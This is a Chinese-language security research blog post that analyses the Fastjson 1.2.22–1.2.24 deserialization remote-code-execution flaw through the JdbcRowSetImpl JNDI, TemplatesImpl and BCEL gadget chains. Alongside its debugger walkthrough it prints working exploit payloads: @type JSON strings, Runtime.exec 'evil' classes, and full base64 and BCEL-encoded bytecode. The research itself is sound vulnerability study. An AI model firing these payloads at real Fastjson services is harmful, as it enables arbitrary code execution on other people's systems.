Fastjson<=1.2.24反序列化分析

Java安全

影响版本

最早在fastjson1.2.24及之前的版本被曝存在远程代码执行漏洞,由于fastjson可以使用 @type 指定反序列化任意类,攻击者可在jdk包中查找能够构造出恶意类的方法,在其反序列化时会调用其getter或setter方法。

具体影响范围:1.2.22 <= fastjson <= 1.2.24

JdbcRowSetImpl利用链

com.sun.rowset.JdbcRowSetImpl 这条利用链是比较简单的,该类提供对数据库连接的操作,由于提供了JNDI的支持且参数可控,导致出现JNDI注入。

import com.alibaba.fastjson.JSON;

public class main {
    public static void main(String[] args) {
        String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/lovxJNmO\",\"autoCommit\":false}";
         JSON.parseObject(s);
    }
}

根据上一篇FastJson反序列化分析中,我们已经知道会自动调用带有 @type 的json字符串中的属性setter方法。我们又知道,在 JdbcRowSetImpl 类中存在一个参数可控的JNDI注入

image-20230718172003391

在该类中搜索一下,在这个地方进行了JNDI查找操作

image-20230718220024269

继续查找 getDataSourceName 方法,返回了 BaseRowSet 类中的 dataSource 属性,由于 JdbcRowSetImpl 继承了 BaseRowSet 类,那么我们看一下是哪个方法对 dataSource 进行了赋值

image-20230718220430340

JdbcRowSetImpl 类中,获取了 getDataSourceName 的值,这就是为什么我们在json字符串中先把 dataSourceName 放在前面,因为首先会先调用到 setDataSourceName 方法,如果反过来可能会导致空指针的报错

所以会执行到 super.setDataSourceName 方法,调用了父类的 setDataSourceName 方法

image-20230718221114413

来到了父类的这个方法,其实就是判断是否为空,这就是我们传入的 ldap://127.0.0.1:8085/lovxJNmO 这个字符串,再然后就进行了赋值的操作。

和上面我们说的已经对上了,现在 dataSource 就是我们的恶意ldap服务,现在只需要调用 connect 方法即可执行恶意代码。

image-20230718221733815

经过查找,发现 setAutoCommit 方法调用了 connect 方法,而 getDatabaseMetaData 方法是getter方法且没有参数,这个不适合我们去利用。

image-20230718222044574

image-20230718222629098

这样就查找了恶意的ldap服务执行了恶意代码,走到了JSONException这里是因为没有设置 Feature.SupportNonPublicField 参数,报错但不影响执行。

TemplatesImpl利用链

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这条利用链需要启用 Feature.SupportNonPublicField 对非公开字段的反序列化的访问。

在编写恶意类时,该恶意类必须继承 AbstractTranslet,至于为什么需要继承该类,到后面分析自然就知道了。还需要将恶意类编译生成的.class文件进行Base64编码,因为在利用过程中会对 _bytecodes 进行Base64解码,具体看后面分析。

// ByteCodetoBase64.java
import java.io.BufferedInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.util.Base64;

public class ByteCodetoBase64 {
    public static void main(String[] args) {
        // 读取字节码文件
        File file = new File("/Users/wiley/IdeaProjects/javaResearch/target/classes/FastjsonResearch/EvilCode.class");
        byte[] bytecode = readBytecode(file);

        // 将字节码文件转换为Base64编码
        String base64 = encodeToBase64(bytecode);
        System.out.println(base64);
    }

    private static byte[] readBytecode(File file) {
        try {
            FileInputStream fis = new FileInputStream(file);
            BufferedInputStream bis = new BufferedInputStream(fis);
            ByteArrayOutputStream bos = new ByteArrayOutputStream();

            byte[] buffer = new byte[1024];
            int bytesRead;
            while ((bytesRead = bis.read(buffer)) != -1) {
                bos.write(buffer, 0, bytesRead);
            }

            fis.close();
            bis.close();
            bos.close();

            return bos.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    private static String encodeToBase64(byte[] bytecode) {
        return Base64.getEncoder().encodeToString(bytecode);
    }
}
// EvilCode.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilCode extends AbstractTranslet {
    public EvilCode() throws IOException {
        Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}
// TemplateImplChain.java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class TemplateImplChain {
    public static void main(String[] args) {
        String str = "{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\": " +
                "[\"yv66vgAAADQANwoACAAnCgAoACkIACoKACgAKwcALAoABQAnBwAtBwAuAQAGPGluaXQ" +
                "+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABtMRmFzdGpzb25SZXNlYXJjaC9FdmlsQ29kZTsBAApFeGNlcHRpb25zBwAvAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAwAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQBABdMRmFzdGpzb25SZXNlYXJjaC9UZXN0OwcAMQEAClNvdXJjZUZpbGUBAA1FdmlsQ29kZS5qYXZhDAAJAAoHADIMADMANAEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADUANgEAFUZhc3Rqc29uUmVzZWFyY2gvVGVzdAEAGUZhc3Rqc29uUmVzZWFyY2gvRXZpbENvZGUBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABwAIAAAAAAAEAAEACQAKAAIACwAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAMAAAADgADAAAADAAEAA0ADQAOAA0AAAAMAAEAAAAOAA4ADwAAABAAAAAEAAEAEQABABIAEwABAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAKgAEAAAAAQAOAA8AAAAAAAEAFAAVAAEAAAABABYAFwACAAAAAQAYABkAAwABABIAGgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFwANAAAAIAADAAAAAQAOAA8AAAAAAAEAFAAVAAEAAAABABsAHAACABAAAAAEAAEAHQAJAB4AHwACAAsAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAwAAAAKAAIAAAAaAAgAGwANAAAAFgACAAAACQAgACEAAAAIAAEAIgAjAAEAEAAAAAQAAQAkAAEAJQAAAAIAJg==\"],\"_name\": \"x\",\"_tfactory\": {},\"_outputProperties\": {},}";
        JSON.parseObject(str,Feature.SupportNonPublicField);
    }
}

image-20230731213023505

image-20230731213028021

image-20230731213032216

image-20230731213043887

image-20230731213048446

image-20230731213052715

image-20230731213057315

这里判断了字符串的第一个字符的token为左大括号,则实例化了一个JSON对象

image-20230731213132416

image-20230731213137034

image-20230731213141831

这里 isObjectKey 为false且设置key变量值为@type,判断了当前JSON解析器解析字符串的字符,到这里其实就是到了上图这个位置了

image-20230731213255640

这里就是对 isObjectKey 值取反判断,执行 lexer.next() 获取下一个词法单元(符号)也就是双引号字符(”),再后面就是调用 lexer.scanSymbol() 方法从解析器中读取字符,直到遇到第二个引号字符(”)为止,这样的话就获取到了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个字符串,接着调用 TypeUtils 类的loadClass静态方法加载TemplatesImpl类,TypeUtils类的loadClass静态方法其实主要就是做了判断ParserConfig类中的默认加载器是不是为null,为null的话就使用AppClassLoader加载器进行加载并返回加载后的类

image-20230731213337563

lexer.nextToken(JSONToken.COMMA) 获取下一个标记,下一个标记是JSONToken.COMMA 常量,对应的字符是 , 逗号,下一个标记确实是 , 逗号,接着判断下一个词法单元(符号)是不是右大括号,很显然不是,则继续往下看

image-20230731213420999

通过ParserConfig类config对象获取com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 的反序列器并调用反序列化器的序列化方法

image-20230731213438503

image-20230731213443139

image-20230731213448062

image-20230731213451912

进入了反序列化方法后,前面都是一些赋值判断的操作,到了这里其实就是将 sortedFieldDeserializers 字段反序列化器数组进行一个遍历,第一次遍历获取的是 outputProperties 字段

image-20230731213531151

这里就是判断了 outputProperties 字段是什么类型的,再跟下去

image-20230731213544983

跟下去发现下面的所有判断都不符合,直接进入第二次循环,这次是 stylesheetDOM 字段下面的判断也是不符合的,进入第三次循环也是不符合判断要求,这里就不详细看了

image-20230731213607949

再往下就是到了这里,由于上面三次都没有符合判断要求,所以matchField为false,这里开始判断key的值是否一致

image-20230731213630191

上面判断也不符合要求,到了这里,将JSON解析器和``com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类作为createInstance` 方法的参数创建实例,跟进看一下

image-20230731213654951

image-20230731213700214

image-20230731213707360

这里就是获取了 TemplatesImpl 类的默认构造器,如果这个默认构造器参数数量为0的话,那就通过这个默认构造器进行实例化对象并返回

image-20230731213746296

image-20230731213752741

image-20230731213758862

image-20230802112403694

image-20230802112408475

image-20230802112411540

接着解析器获取了下一个key,后面就是解析我们传入的JSON字符串字段 _bytecodes_name_tfactory_outputProperties 的操作

image-20230802112448333

只有当key为 _outputProperties 时,才能获取到字段反序列化器,前面的操作都是各种判断JSON解析器细节方面的东西,随后调用parseField方法,跟进看一下

image-20230802112540172

image-20230802112545224

parseField方法主要是获取字段反序列化器,由于 _bytecodes_name_tfactory 这些私有字段在TemplatesImpl类中都没有对应的public修饰符的getter和setter方法,所以没有字段反序列化器,而 _outputProperties 私有字段有对应public修饰符的getter方法,那么它就拥有一个字段反序列化器

image-20230802112637607

image-20230802112641246

这里有一个注意的地方,就是key为 _bytecodes 时和 _outputProperties 的区别

image-20230802220248759

image-20230802220511062

image-20230802220637848

image-20230802220905757

image-20230802221042449

image-20230802221256892

image-20230802221402556

这里对字段值反序列化器进行反序列化获取值,这里要注意的是在前面key为 _bytecodes 时,会调用到 ObjectArrayCodec 类中的 deserialze 方法,该类对JSON字符串数组进行了一个解析,将JSON字符串数组进行了Base64解码,所以在写Payload时需要将 _bytecodes 键的值进行Base64编码

当key为 _outputProperties 时,会调用 MapDeserializer 类的 deserialze 方法,这个key是没有设置值的,所以这里返回null

image-20230802112653237

image-20230802112657428

setValue方法判断了getOutputProperties方法字段访问权限和字段类

image-20230802112707125

这里判断了 getOutputProperties 方法的返回值类型是否是Map类或Map子类,该方法返回值类型是 Properties,该类型是Map的子类,后面就是使用反射调用TemplatesImpl类的 getOutputProperties 方法

image-20230802112731017

getOutputProperties 方法中调用了 newTransformer 方法,跟进看一下

image-20230802112915054

这里调用了 getTransletInstance 方法,再跟进看一下

image-20230802112925992

getTransletInstance 方法中判断了json字符串的 _name_class 是否为空,这样就是为什么在payload中json字符串中必须要设置_name变量的值,不设置值这里就直接返回null了,_class 变量我们没有设置,即调用 defineTransletClasses 方法

image-20230802113012859

这里还需要注意到一点的是 _tfactory 在JSON字符串中必须存在键值对,可以是空值,但不能没有,否则没有办法实例化 TransletClassLoader 加载器

image-20230802113016492

image-20230802113019459

_bytecodes 也不能为null,否则就抛出异常了。接着就是获取TransletClassLoader,通过 TransletClassLoader.defineClass() 方法将json字符串中的 _bytecodes 变量恶意代码字节码值转换成一个类实例,然后判断了我们恶意代码类的父类全限定类名是否包含 ABSTRACT_TRANSLET 常量值 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,这就是为什么要在恶意类中需要继承 AbstractTranslet 类的原因,如果没有继承,则 _transletIndex 变量为-1,再走到下面 _transletIndex 小于0就会抛出异常了,所以必须要让恶意类继承 AbstractTranslet

image-20230802124050218

image-20230802124349503

_class 数组里下标为0的就是通过 TransletClassLoader 加载器加载的恶意类,调用 newInstance 方法即可实例化恶意类对象,即执行恶意类的代码,弹出计算器

BCEL利用链

BCEL链也是一种不出网的利用链,虽然 TemplatesImpl 利用链也是不出网的利用链,但是这个利用链很苛刻,需要开启 Feature.SupportNonPublicField 对非公开字段的支持。BECL利用链需要tomcat的依赖tomcat-dbcp,对于Tomcat8.0之前版本使用 org.apache.tomcat.dbcp.dbcp.BasicDataSource,Tomcat8.0之后使用 org.apache.tomcat.dbcp.dbcp2.BasicDataSource

// BCELEvilCode.java
package FastjsonResearch;

import java.io.IOException;

public class BCELEvilCode {
    public BCELEvilCode() throws IOException {
        Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    }
}
// BCELEncode.java
package FastjsonResearch;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class BCELEncode {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        String filePath = "/Users/wiley/IdeaProjects/javaResearch/src/main/java/FastjsonResearch/BCELEvilCode.class";
        Path path = Paths.get(filePath);
        if (!Files.exists(path)) {
            throw new IllegalArgumentException("File does not exist: " + filePath);
        }
        byte[] bytecodes = Files.readAllBytes(path);
        String code = "$$BCEL$$" + Utility.encode(bytecodes,true);
        System.out.println(code);
    }
}
// BCELChain.java
package FastjsonResearch;

import com.alibaba.fastjson.JSON;

public class BCELChain {
    public static void main(String[] args) {
        String jsonstr = "{\"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\": " +
                "{\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\": " +
                "\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$C1$Q$7d$Fd$R$f9F$fc$f6$e0I$f0$40$_$deP$T$r$90$98$a0$Y0z$$$b5$c1$92$a5$bb$d9$ed$S$fcY$5e$d4x$f0$H$f8$a3$8c$b3$i$90$c46$9d$e9$9b7$af3$9d$ef$9f$cf$_$A$a78$c8$o$8db$W$r$943$a8$c4$be$ea$60$d3A$8d$n$7d$a6$8d$b6$X$M$c9z$e3$81$n$d5$f6$9e$UC$b1$a7$8d$ba$8d$a6$p$V$dc$8b$91K$91lg$$$95o$b5gB$H$5b$84$87$5e$UH$d5$d51Y$bejwz$9d$99vcus$of$o$H$H$Z$H$db9$ec$60$97$e1$9c$P_B$ab$a6$fc$d2$f7$5d$z$c5$e2$j$de$W$ae$8c$5ca$bd$a0$v$7c$9f$b7$3dc$95$b1$n$bf$R$b2$3f$5cas$d8$c3$3e$c3aW$84v$Szf$a0B$r$C$f9$ccW$cb2$94$e2$c2$dc$Vf$cc$fb$a3$89$92$96$a1$ba$Ii$8f_$f7$97$fdS$bb$7f$89$83$c8X$3d$8d$ff7Vv$Jj$f5F$ef_N$8b$a6$a3$e6J2$i$d7W$d8$a1$N$b4$Z$b7V$Fw$81$tU$Y$b6p$845$g$7c$bc$Ym$9a$I$SX$t$d4$q$cf$c8$XN$de$c1$3e$90$a8$q$df$90z$7c$5d$e4e$e38$92d$d3H$91$sO$aa$NB$v$e2rt$f2tO$a0$f0$L$e7$dd$60$ef$dc$B$A$A\n\"}";
        JSON.parseObject(jsonstr);
    }
}

img

我们先来看下BCEL这条链的触发点在哪里,org.apache.tomcat.dbcp.dbcp2 包下的DriverFactory 类中,createDriver 静态方法使用

BasicDataSource 类型对象的 driverClassLoader 加载器加载了BasicDataSource类型对象的 driverClassName

img

img

driverClassLoader 是我们在JSON字符串中写的是com.sun.org.apache.bcel.internal.util.ClassLoader 这个类,那么就会调用ClassLoader该类中的 loadClass 方法,在这个方法中判断了 class_name 是否是 $$BCEL$$ 字符开头的,否则就会抛出异常了,接着后面调用了 createClass 方法,这个方法就是将 class_name 中的字节码转换成类

img

createClass 方法中,将 $$BCEL$$ 字符删除后进行解码,再对这个解码后的字节码进行解析,所以在JSON字符串中 driverClassName 键的值需要进行编码

img

后面就是对解析后的类再进行一些处理,再将这个类进行返回

img

再获取这个类的字节码,加载成一个具体的类

img

使用自定义加载器 com.sun.org.apache.bcel.internal.util.ClassLoader 加载完成后得到的具体恶意类进行了实例化,这里是真正进行执行恶意代码的地方,我们再看下是这个调用链是什么样的

img

img

img

这里就是一个完整的调用链

getConnection()->createDataSource()->createConnectionFactory()->DriverFactory.createDriver()

img

我们清楚这条链的触发点后,至于前面的 parse 方法解析JSON字符串,在Fastjson反序列化一开始我们就已经跟着程序调试分析了,就是去根据我们给的JSON字符串去解析成对应的对象,接着调用 toJSON 方法img

img

img

这里会将传入的类名 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 的序列化器转换成JavaBean序列化器,使用该JavaBean序列化器获取获取所有字段值

img

这里就是对 BasicDataSource 类型对象的所有getter方法获取属性值,再看下 getPropertyValue 方法做了什么

img

这里调用了 fieldInfoget 方法

img

这个get方法使用反射进行了方法的调用

img

那么这里只需要 getter 的变量值是 connection ,就会调用 getConnection 方法,这样我们这条完整的链就通了

img

img

img

但是我们发现不只是 getConnection 方法调用了 createDataSource 方法, getLogWriter 方法同样也调用了,而在解析对象时,在 FieldSeriailzer 对象数组类型的 sortedGetters 变量中,connection 相对于 logwriter 而言排在最前面,所以最先执行的也是这个方法,这就是为什么网上的文章都在说 getConnection 方法而没有说 getLogWriter 方法的原因

img

最后依次往下执行,成功执行了恶意代码

Author: wileysec

Permalink: https://wileysec.github.io/11c62fd672b4.html

Comments